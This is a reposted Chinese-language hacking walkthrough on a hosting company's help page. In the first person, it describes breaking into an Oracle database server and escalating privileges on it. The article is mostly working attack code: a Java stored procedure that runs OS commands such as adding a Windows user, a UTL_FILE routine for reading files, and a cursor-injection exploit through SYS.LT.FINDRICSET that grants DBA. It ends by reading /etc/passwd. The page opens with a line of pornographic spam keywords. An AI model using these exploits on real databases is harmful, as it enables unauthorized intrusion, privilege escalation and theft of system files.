无码视频在线观看,99人妻,国产午夜视频,久久久久国产一级毛片高清版新婚

  • 始創(chuàng)于2000年 股票代碼:831685
    咨詢熱線:0371-60135900 注冊有禮 登錄
    • 掛牌上市企業(yè)
    • 60秒人工響應
    • 99.99%連通率
    • 7*24h人工
    • 故障100倍補償
    全部產(chǎn)品
    您的位置: 網(wǎng)站首頁 > 幫助中心>文章內(nèi)容

    入侵Oracle服務器進一步獲取權限

    發(fā)布時間:  2012/8/13 16:16:09

    很快便連接上Oracle服務器,此時發(fā)現(xiàn):

      1.連接后不是dba權限

      2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升權限

      3.運行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后發(fā)現(xiàn)Oracle服務器不能連接網(wǎng)絡。
    -
     

      幸運的是,

      運行

      create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

      成功!這個用戶具有create proceduce權限。

      此時馬上想到創(chuàng)建java擴展執(zhí)行命令:

      create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” “;myReader.close();return str;} catch (Exception e){return e.toString();}}}

      begin dbms_java.grant_permission(‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘<>’, ‘execute’ );end;

      create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ‘LinxUtil.runCMD(java.lang.String) return String’

      select * from all_objects where object_name like ‘%LINX%’

      grant all on LinxRunCMD to public

      select LinxRunCMD(‘cmd /c net user linx /add’) from dual

      但是在第一步就卡住了,服務器由于某種未知原因 不能創(chuàng)建java擴展!!

      還好,我們還有UTL庫可以利用:

      create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is

      fHandler UTL_FILE.FILE_TYPE;

      buf varchar2(4000);

      output varchar2(8000);

      BEGIN

      fHandler := UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);

      loop

      begin

      utl_file.get_line(fHandler,buf);

      DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);

      exception

      when no_data_found then exit;

      end;

      output := output||buf||chr(10);

      end loop;

      UTL_FILE.FCLOSE(fHandler);

      return output;

      END;

      UTL_FILE_DIR需要先用:

      CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

      指定目。但運行后發(fā)現(xiàn)沒有權限。只好想辦法提權。

      ***************游標注射***************

      老外寫了N個pdf介紹這技術,我精簡了代碼:

      DECLARE

      MYC NUMBER;

      BEGIN

      MYC := DBMS_SQL.OPEN_CURSOR;

      DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; begin execute immediate ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);

      DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

      BEGIN SYS.LT.FINDRICSET(‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;

      raise NO_DATA_FOUND;

      EXCEPTION

      WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

      WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

      END;

      運行后重新連接就有dba權限了,簡單吧……

      現(xiàn)在可以讀取文件了:

      CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

      select LinxUTLReadfile(‘passwd’) from dual

      后面就簡單了,不寫了。


    本文出自:億恩科技【mszdt.com】

    服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營性ICP/ISP證:贛B2-20080012
  • 服務器/云主機 24小時售后服務電話:0371-60135900
  • 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
  • 專注服務器托管17年
    掃掃關注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號
      1
     
     
     
     

    0371-60135900
    7*24小時客服服務熱線